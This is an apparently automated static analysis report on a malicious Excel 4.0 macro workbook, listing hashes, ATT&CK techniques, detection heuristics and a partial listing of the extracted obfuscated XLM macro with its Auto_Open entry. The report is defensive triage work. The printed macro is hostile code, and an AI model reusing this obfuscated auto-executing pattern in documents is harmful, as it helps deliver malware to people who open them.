Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 765a3fc715cd0a12…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:51 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: b3970659be5d7ebcfb49e251b24a795f SHA-1: afb4e951585a6325737fcbd2f09d2299c0a732d1 SHA-256: 765a3fc715cd0a124f8f331a4f36b17b990e0aa571c7b7f97e4f3c3cef6a63b2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Static analysis detected an Auto_Open defined name, indicating that malicious code will execute automatically when the workbook is opened. The presence of dangerous formula APIs further supports this, suggesting the macro is designed to execute arbitrary commands, likely for payload delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6596 bytes
SHA-256: ffa9a0f78c115e9ef37f3b50893ee672f657ab5196f36fa943dec751302eb0f1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hOcH
' 0018     20 LABEL : Cell Value, String Constant - AiGrI len=0 
' 0018     27 LABEL : Cell Value, String Constant - aUNATtiaBQjp len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D167 
' 0018     25 LABEL : Cell Value, String Constant - brynnxwaIA len=0 
' 0018     25 LABEL : Cell Value, String Constant - EBAgkMYxQe len=0 
' 0018     22 LABEL : Cell Value, String Constant - fFrcnSQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - hVQumWC len=0 
' 0018     23 LABEL : Cell Value, String Constant - iAAErpeh len=0 
' 0018     26 LABEL : Cell Value, String Constant - jDLBlBGklFn len=0 
' 0018     20 LABEL : Cell Value, String Constant - MuJuD len=0 
' 0018     26 LABEL : Cell Value, String Constant - nsEldSENkmK len=0 
' 0018     22 LABEL : Cell Value, String Constant - pGHKGXd len=0 
' 0018     21 LABEL : Cell Value, String Constant - RFYpur len=0 
' 0018     22 LABEL : Cell Value, String Constant - SZOSmqd len=0 
' 0018     26 LABEL : Cell Value, String Constant - VoCVkbfVWGb len=0 
' 0018     25 LABEL : Cell Value, String Constant - VTZqIDUOVf len=0 
' 0018     22 LABEL : Cell Value, String Constant - wDLMNcr len=0 
' 0018     27 LABEL : Cell Value, String Constant - wukYPQajtBml len=0 
' 0018     24 LABEL : Cell Value, String Constant - xmWQaXjbs len=0 
' 0018     22 LABEL : Cell Value, String Constant - XRExTZz len=0 
' 0018     26 LABEL : Cell Value, String Constant - yTMNCderlYr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hOcH,D80,"SET.NAME("VoCVkbfVWGb",0+VALUE("0"))",""
'  hOcH,S83,"",133.00000000000000000000
'  hOcH,D84,"SET.NAME("wDLMNcr",VoCVkbfVWGb)",""
'  hOcH,S84,"",517.00000000000000000000
'  hOcH,S85,"",43.00000000000000000000
'  hOcH,S86,"",708.00000000000000000000
'  hOcH,S87,"",450.00000000000000000000
'  hOcH,D88,"SET.NAME("XRExTZz",VoCVkbfVWGb)",""
'  hOcH,S88,"",-991.00000000000000000000
'  hOcH,D92,"SET.NAME("nsEldSENkmK",COUNTA(AiGrI))",""
'  hOcH,D95,"SET.NAME("xmWQaXjbs",COUNTA(iAAErpeh))",""
'  hOcH,D100,[],""
'  hOcH,D104,"SET.NAME("RFYpur","")",""
'  hOcH,D106,"wDLMNcr",""
'  hOcH,D108,"SET.NAME("brynnxwaIA",HLOOKUP("*",AiGrI,wDLMNcr,FALSE))",""
'  hOcH,D110,"SZOSmqd",""
'  hOcH,D113,"SET.NAME("jDLBlBGklFn",VoCVkbfVWGb)",""
'  hOcH,D117,[],""
'  hOcH,D120,"jDLBlBGklFn",""
'  hOcH,D124,"yTMNCderlYr",""
'  hOcH,D129,"hVQumWC",""
'  hOcH,D132,"aUNATtiaBQjp",""
'  hOcH,D134,"SET.NAME("wukYPQajtBml",VALUE(HLOOKUP("*",iAAErpeh,aUNATtiaBQjp,FALSE)))",""
'  hOcH,D138,"EBAgkMYxQe",""
'  hOcH,D142,"RFYpur",""
'  hOcH,D145,"XRExTZz",""
'  hOcH,D148,NEXT(),""
'  hOcH,D153,"MuJuD",""
'  hOcH,D155,[],""
'  hOcH,D158,"pGHKGXd",""
'  hOcH,D160,NEXT(),""
'  hOcH,D164,RETURN(),""
'  hOcH,D192,"SET.NAME("VTZqIDUOVf",D80)",""
'  hOcH,D194,"AiGrI",""
'  hOcH,D199,"SET.NAME("iAAErpeh",R53C12)",""
'  hOcH,D201,"SET.NAME("pGHKGXd",210)",""
'  hOcH,D205,"SET.NAME("fFrcnSQ",4)",""
'  hOcH,D209,VTZqIDUOVf(),""
'  hOcH,D210,HALT(),""